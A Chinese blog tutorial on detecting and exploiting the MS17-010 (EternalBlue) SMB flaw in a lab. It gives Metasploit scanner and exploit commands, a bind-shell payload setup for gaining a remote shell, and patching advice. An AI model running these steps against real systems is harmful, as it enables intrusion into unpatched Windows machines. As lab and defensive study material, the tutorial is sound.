MS17-010(永恒之蓝) 漏洞检测及利用教程

最新推荐文章于 2024-06-02 16:50:45 发布

凝聚力安全团队

最新推荐文章于 2024-06-02 16:50:45 发布

阅读量5.9k

点赞数 2

分类专栏：漏洞复现文章标签：安全信息安全安全漏洞

本文链接：https://blog.csdn.net/weixin_41924764/article/details/109660938

版权

73 篇文章 5 订阅

订阅专栏

漏洞描述

攻击者向 Microsoft 服务器消息块SMB服务器发送经特殊设计的消息，则其中最严重的漏洞可能允许远程代码执行。

#启动msf
msfconsole

search ms17-010
use auxiliary/scanner/smb/smb_ms17_010

#设置目标ip
set rhosts 192.168.234.132

run

提示 Host is likely VULNERABLE to MS17-010 表示存在漏洞

在这里插入图片描述

单个ip检测：

#ms17010scan-h-n-amd64-1.exe -h ip
ms17010scan-h-n-amd64-1.exe -h 192.168.234.132

多ip扫描：

#ms17010scan-h-n-amd64-1.exe -n ip/24
ms17010scan-h-n-amd64-1.exe -n 192.168.234.0/24

在这里插入图片描述

KALI：

#启动msf
msfconsole

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue

#设置目标ip
set rhosts 192.168.234.132

run

在这里插入图片描述

假设你只有一台pc机，无公网ip接受漏洞反弹回来的shell，只需要更改msf的攻击载荷即可

#查看攻击在和
show payloads

在这里插入图片描述

#修改攻击载荷为 generic/shell_bind_tcp
set payload 1

#查看配置，我们只需要设置
show options 
#设置目标ip
set rhost 192.168.234.134
set lport 5555

在这里插入图片描述

run

在这里插入图片描述

对于我的理解为 generic/shell_bind_tcp payload 是在目标机子上打开5555端口，我们去进行主动连接获取shell。

在这里插入图片描述

而原先使用的 windows/x64/meterpreter/reverse_tcp 是让对方主动连接我们监听的端口

在这里插入图片描述

1、更新操作系统补丁。
2、关闭操作系统139、445等多余端口。

关注